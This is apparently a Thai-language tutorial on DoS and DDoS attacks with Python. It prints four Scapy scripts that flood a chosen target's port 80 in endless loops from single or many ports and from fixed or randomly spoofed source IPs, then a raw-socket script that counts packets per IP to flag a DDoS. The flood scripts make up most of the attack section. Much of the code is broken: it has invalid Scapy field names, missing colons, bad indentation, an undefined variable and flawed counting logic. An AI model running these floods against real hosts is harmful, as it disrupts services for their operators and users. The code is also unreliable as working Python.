การโจมตี DoS & DDoS

ในบทนี้เราจะเรียนรู้เกี่ยวกับการโจมตี DoS และ DdoS และทำความเข้าใจวิธีการตรวจจับ

ด้วยความเฟื่องฟูในอุตสาหกรรมอีคอมเมิร์ซตอนนี้เว็บเซิร์ฟเวอร์มีแนวโน้มที่จะถูกโจมตีและเป็นเป้าหมายที่ง่ายสำหรับแฮกเกอร์ โดยปกติแฮกเกอร์จะพยายามโจมตีสองประเภท -

  • DoS (การปฏิเสธการให้บริการ)
  • DDoS (การปฏิเสธการให้บริการแบบกระจาย)

DoS (Denial-of-Service) โจมตี

การโจมตี Denial of Service (DoS) เป็นความพยายามของแฮกเกอร์เพื่อทำให้ทรัพยากรเครือข่ายไม่สามารถใช้งานได้ โดยปกติจะขัดขวางโฮสต์ชั่วคราวหรือไม่สิ้นสุดซึ่งเชื่อมต่อกับอินเทอร์เน็ต โดยทั่วไปการโจมตีเหล่านี้จะกำหนดเป้าหมายบริการที่โฮสต์บนเว็บเซิร์ฟเวอร์ที่สำคัญเช่นธนาคารเกตเวย์การชำระเงินด้วยบัตรเครดิต

อาการของการโจมตี DoS

  • ประสิทธิภาพของเครือข่ายช้าผิดปกติ

  • ไม่มีเว็บไซต์ใดเว็บไซต์หนึ่ง

  • ไม่สามารถเข้าถึงเว็บไซต์ใด ๆ

  • จำนวนอีเมลขยะที่ได้รับเพิ่มขึ้นอย่างมาก

  • การปฏิเสธการเข้าถึงเว็บหรือบริการอินเทอร์เน็ตในระยะยาว

  • ความไม่พร้อมใช้งานของเว็บไซต์ใดเว็บไซต์หนึ่ง

ประเภทของ DoS Attack และการใช้งาน Python

การโจมตี DoS สามารถดำเนินการได้ที่ลิงค์ข้อมูลเครือข่ายหรือชั้นแอปพลิเคชัน ให้เราเรียนรู้เกี่ยวกับการโจมตี DoS ประเภทต่างๆ &; การนำไปใช้ใน Python -

พอร์ตเดียว IP เดียว

แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP เดียวและจากหมายเลขพอร์ตเดียว เป็นการโจมตีระดับต่ำซึ่งใช้ในการตรวจสอบพฤติกรรมของเว็บเซิร์ฟเวอร์ การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ python ต่อไปนี้จะช่วยใช้การโจมตี DoS แบบ Single Port Single IP -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

เมื่อดำเนินการสคริปต์ข้างต้นจะขอสามสิ่งต่อไปนี้ -

  • ที่อยู่ IP ของแหล่งที่มาและเป้าหมาย

  • ที่อยู่ IP ของหมายเลขพอร์ตต้นทาง

  • จากนั้นจะส่งแพ็กเก็ตจำนวนมากไปยังเซิร์ฟเวอร์เพื่อตรวจสอบพฤติกรรมของมัน

IP เดียวหลายพอร์ต

แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP เดียวและจากหลายพอร์ต การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ python ต่อไปนี้จะช่วยใช้การโจมตี DoS หลายพอร์ตแบบ Single IP -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

พอร์ตเดียวหลาย IP

แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP หลายตัวและจากหมายเลขพอร์ตเดียว การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ Python ต่อไปนี้ใช้การโจมตี DoS หลายพอร์ตแบบ IP เดียว -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

หลาย IP หลายพอร์ต

แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP หลายตัวและจากหลายพอร์ต การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ Python ต่อไปนี้ช่วยใช้การโจมตี DoS หลายพอร์ตหลาย IPs -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

การโจมตี DDoS (การปฏิเสธการให้บริการแบบกระจาย)

การโจมตีแบบปฏิเสธการให้บริการแบบกระจาย (DDoS) คือความพยายามที่จะทำให้บริการออนไลน์หรือเว็บไซต์ไม่สามารถใช้งานได้โดยการใช้งานมากเกินไปโดยมีปริมาณการใช้งานจำนวนมากจากแหล่งที่มาหลายแห่ง

ซึ่งแตกต่างจากการโจมตี Denial of Service (DoS) ซึ่งมีการใช้คอมพิวเตอร์เครื่องหนึ่งและการเชื่อมต่ออินเทอร์เน็ตหนึ่งเครื่องเพื่อทำให้ทรัพยากรเป้าหมายเต็มไปด้วยแพ็กเก็ตการโจมตี DDoS ใช้คอมพิวเตอร์จำนวนมากและการเชื่อมต่ออินเทอร์เน็ตจำนวนมากซึ่งมักจะกระจายไปทั่วโลกในสิ่งที่เรียกว่าบอตเน็ต . การโจมตี DDoS เชิงปริมาตรขนาดใหญ่สามารถสร้างทราฟฟิกที่วัดได้ในหน่วยสิบกิกะบิต (และแม้กระทั่งหลายร้อยกิกะบิต) ต่อวินาที สามารถอ่านรายละเอียดได้ที่https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

การตรวจจับ DDoS โดยใช้ Python

การโจมตี DDoS ที่จริงนั้นตรวจจับได้ยากเล็กน้อยเนื่องจากคุณไม่ทราบว่าโฮสต์ที่ส่งการเข้าชมนั้นเป็นของปลอมหรือของจริง สคริปต์ Python ที่ระบุด้านล่างจะช่วยตรวจจับการโจมตี DDoS

ในการเริ่มต้นให้เรานำเข้าไลบรารีที่จำเป็น -

import socket
import struct

from datetime import datetime

ตอนนี้เราจะสร้างซ็อกเก็ตตามที่เราได้สร้างไว้ในส่วนก่อนหน้านี้ด้วย

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

เราจะใช้พจนานุกรมเปล่า -

dict = {}

โค้ดบรรทัดต่อไปนี้จะเปิดไฟล์ข้อความโดยมีรายละเอียดของการโจมตี DDoS ในโหมดผนวก

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

ด้วยความช่วยเหลือของบรรทัดต่อไปนี้ของโค้ดเวลาปัจจุบันจะถูกเขียนเมื่อใดก็ตามที่โปรแกรมทำงาน

file_txt.writelines(t1)
file_txt.writelines("\n")

ตอนนี้เราต้องถือว่า Hit จาก IP หนึ่ง ๆ ในที่นี้เรากำลังสมมติว่าหาก IP ใดมีการโจมตีมากกว่า 15 ครั้งก็จะเป็นการโจมตี

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

โค้ดบรรทัดต่อไปนี้จะตรวจสอบว่ามี IP อยู่ในพจนานุกรมหรือไม่ ถ้ามีอยู่มันจะเพิ่มขึ้น 1

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

โค้ดบรรทัดถัดไปใช้เพื่อลบความซ้ำซ้อน

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

หลังจากเรียกใช้สคริปต์ข้างต้นเราจะได้ผลลัพธ์เป็นไฟล์ข้อความ ตามสคริปต์หาก IP เข้าชมมากกว่า 15 ครั้งจะมีการพิมพ์เมื่อตรวจพบการโจมตี DDoS พร้อมกับที่อยู่ IP นั้น